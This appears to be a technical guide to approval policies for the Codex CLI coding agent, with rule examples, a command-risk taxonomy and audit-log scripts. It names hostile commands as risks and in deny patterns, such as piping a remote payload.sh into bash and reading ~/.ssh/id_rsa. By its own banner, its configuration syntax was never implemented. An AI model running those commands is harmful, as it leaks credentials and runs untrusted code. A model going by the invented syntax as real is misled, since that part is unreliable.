Codex CLI approval_policy Implementation Patterns Complete Guide (2025)¶
The config syntax in this article does not match the official schema
Codex CLI has been updated to v0.106.0 (Rust rewrite) with a revised configuration system. For the latest approval settings, see Codex CLI Auto-Approval Mode Complete Guide (2026).
The [[approval_policy]] table syntax used in this article (type/pattern/action fields) is not part of the official config.toml schema. Pasting these configuration examples directly into ~/.codex/config.toml will not work — Codex CLI does not recognize these keys.
In the current Codex CLI:
approval_policyis a single string value (untrusted/on-request/never)sandbox_modeisread-only/workspace-write/danger-full-access- Per-command control uses profiles combined with sandbox settings
The classification framework in this article (4-level dangerous command taxonomy, blacklist/whitelist/hybrid strategies) remains useful as a design reference, but do not copy the config syntax as-is.
This is a followup to the morning article
Morning article: Codex CLI Production Failure Patterns and Immediate Solutions
Goals¶
- Understand 3 implementation patterns of
approval_policyand select optimal configuration per environment - Implement dangerous command classification criteria and whitelist/blacklist strategies
- Build operational framework combining audit logs
Why approval_policy Matters¶
While --full-auto mode is essential for automation, unlimited execution privileges include these risks:
- Data Loss: Destructive commands like
rm -rf / - Credential Leakage: Reading sensitive files like
cat ~/.ssh/id_rsa - External Attacks: Executing external scripts like
curl malicious-site.com/payload.sh | bash
approval_policy requires individual approval for these operations, balancing automation and security.
3 Implementation Patterns¶
Pattern 1: Blacklist Type (Restrict Only Dangerous Commands)¶
Target Environment: Development environment, trusted task sets
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
[[approval_policy]]
type = "command"
pattern = "^rm\\s+-rf\\s+/"
action = "require"
reason = "Root directory deletion prevention"
[[approval_policy]]
type = "command"
pattern = "^dd\\s+if="
action = "require"
reason = "Disk overwrite prevention"
[[approval_policy]]
type = "command"
pattern = "(curl|wget).*\\|.*bash"
action = "require"
reason = "Remote script execution check"
Pros: Minimal constraints with flexible automation Cons: New dangerous commands undetected until first execution
Pattern 2: Whitelist Type (Execute Only Approved List)¶
Target Environment: Production, CI/CD, strict compliance requirements
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
default_action = "deny" # Deny all undefined
[[approval_policy]]
type = "command"
pattern = "^(git|npm|python|pytest|mypy)"
action = "allow"
reason = "Standard development tools"
[[approval_policy]]
type = "file_write"
pattern = "^(src|tests|docs)/.*\\.(py|md|toml)$"
action = "allow"
reason = "Project files only"
[[approval_policy]]
type = "network"
pattern = "^https://(api\\.github\\.com|pypi\\.org)"
action = "allow"
reason = "Trusted domains"
Pros: Highest security level Cons: High operational cost for allowlist updates
Pattern 3: Hybrid Type (Hierarchical Control)¶
Target Environment: Enterprise, unified multi-environment management
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
[approval]
mode = "full-auto"
# Highest priority: Emergency stop commands
[[approval_policy]]
priority = 1
type = "command"
pattern = "^(shutdown|reboot|init\\s+0)"
action = "deny"
reason = "System critical commands blocked"
# High priority: Dangerous commands require manual approval
[[approval_policy]]
priority = 2
type = "command"
pattern = "^(rm|dd|mkfs|fdisk)"
action = "require"
reason = "Destructive command confirmation"
# Normal priority: Development tools auto-allowed
[[approval_policy]]
priority = 3
type = "command"
pattern = "^(git|npm|pip|docker)"
action = "allow"
reason = "Standard toolchain"
# Default: Unclassified requires manual approval
[approval]
fallback_action = "require"
Pros: Optimal balance of flexibility and security Cons: Increased configuration complexity
Dangerous Command Classification Criteria¶
| Level | Characteristics | Examples | Recommended Action |
|---|---|---|---|
| Critical | System-wide impact | shutdown, init 0 | deny |
| High | Data loss risk | rm -rf, dd, mkfs | require |
| Medium | Sensitive info access | cat ~/.ssh/*, env \| grep SECRET | require |
| Low | External communication | curl, wget, git clone | Environment-dependent |
Implementation Steps¶
Step 1: Audit Current Commands¶
Extract executed commands from existing Codex session logs:
# Analyze command frequency over last 30 days
grep "Executing:" ~/.codex/logs/*.log \
| awk '{print $3}' \
| sort | uniq -c | sort -rn \
| head -20
Step 2: Risk Classification¶
Classify extracted commands into 4 levels above, manage in CSV or similar:
Command,Risk Level,Action,Reason
git,Low,allow,Version control
rm,High,require,Data deletion
curl,Medium,require,External access
shutdown,Critical,deny,System critical
Step 3: Generate config.toml¶
Auto-generate configuration from classification results (script example):
#!/bin/bash
INPUT_CSV="command_risks.csv"
OUTPUT_TOML="config_approval.toml"
# ⚠️ CONCEPTUAL — NOT official config.toml syntax
echo "[approval]" > "$OUTPUT_TOML"
echo "mode = \"full-auto\"" >> "$OUTPUT_TOML"
echo "" >> "$OUTPUT_TOML"
tail -n +2 "$INPUT_CSV" | while IFS=, read -r cmd risk action reason; do
cat >> "$OUTPUT_TOML" <<EOF
[[approval_policy]]
type = "command"
pattern = "^${cmd}"
action = "${action}"
reason = "${reason}"
EOF
done
Step 4: Gradual Rollout¶
- Week 1: Only
requireaction (all commands manual approval for behavior verification) - Week 2: Change frequent commands to
allow(monitor approval logs) - Week 3: Change dangerous commands to
deny(check false positives) - Week 4: Production deployment
Operations with Audit Log Integration¶
Log Analysis Script¶
#!/bin/bash
LOG_DIR="$HOME/.codex/logs"
ALERT_FILE="/tmp/codex_alerts.txt"
# Extract approval events from last 24 hours
find "$LOG_DIR" -name "*.log" -mtime -1 -exec \
grep -H "approval_required\|action=deny" {} \; \
> "$ALERT_FILE"
if [ -s "$ALERT_FILE" ]; then
echo "⚠️ Approval events detected in last 24h:"
cat "$ALERT_FILE"
# Can add Slack notifications here
fi
Periodic Execution Setup¶
# crontab -e
0 9 * * * /path/to/log_analyzer.sh
Benchmark: Approval Overhead¶
Execution time comparison for 100 tasks (M1 Mac, Claude-3.5-Sonnet):
| Configuration | Execution Time | Manual Approvals | Notes |
|---|---|---|---|
mode=interactive | 45 min | 100 | All tasks manual approval |
| Blacklist type | 8 min | 3 | Only 3 dangerous commands |
| Whitelist type | 9 min | 0 | 20 min initial setup |
| Hybrid type | 8 min | 2 | 2 unclassified commands |
Conclusion: Blacklist and Hybrid types achieve best balance between execution time and security.
Failure Patterns and Solutions¶
| Symptom | Cause | Solution |
|---|---|---|
| Regex matches all commands | Generic patterns like pattern = ".*" | Start with specific command names (^git, etc.) |
| Allowed commands get denied | Wrong priority order | Set allow rules to high priority, deny to low |
| Not logged | log_level = "error" configured | Change to log_level = "info" |
| Config changes not reflected | Codex caching old config | Restart with codex restart |
FAQ¶
Q: Which regex dialect is supported in pattern? A: Compliant with Rust's regex crate. Lookahead/lookbehind not supported. Refer to official docs.
Q: Can network access be controlled by policy? A: type = "network" for fine-grained control was not implemented. Network access is controlled via [sandbox_workspace_write].network_access = true/false, or by setting sandbox_mode = "danger-full-access" for full access.
Q: How to use different policies across multiple environments? A: Switch config files with CODEX_CONFIG_PATH environment variable:
export CODEX_CONFIG_PATH="$HOME/.codex/prod_config.toml"
Current Official Approval Control (2026)¶
The [[approval_policy]] table syntax described in this article was never implemented. As of 2026, Codex CLI approval and sandbox settings are controlled as follows:
config.toml Settings¶
# ~/.codex/config.toml
approval_policy = "on-request" # untrusted / on-request / never
sandbox_mode = "workspace-write" # read-only / workspace-write / danger-full-access
# Switch per environment with profiles
[profiles.strict]
approval_policy = "on-request"
sandbox_mode = "read-only"
[profiles.auto]
approval_policy = "never"
sandbox_mode = "danger-full-access"
CLI Flag Control¶
codex -a never -s workspace-write "task" # Skip approval, keep sandbox
codex --full-auto "task" # = -a on-request -s workspace-write
codex -p strict "task" # Use named profile
For details, see the Codex CLI Auto-Approval Mode Complete Guide (2026).
Next Steps¶
- Advanced implementation: Codex CLI Audit Log Analysis and Anomaly Detection (upcoming)
- Back to basics: Codex CLI Auto-Approval Mode Complete Guide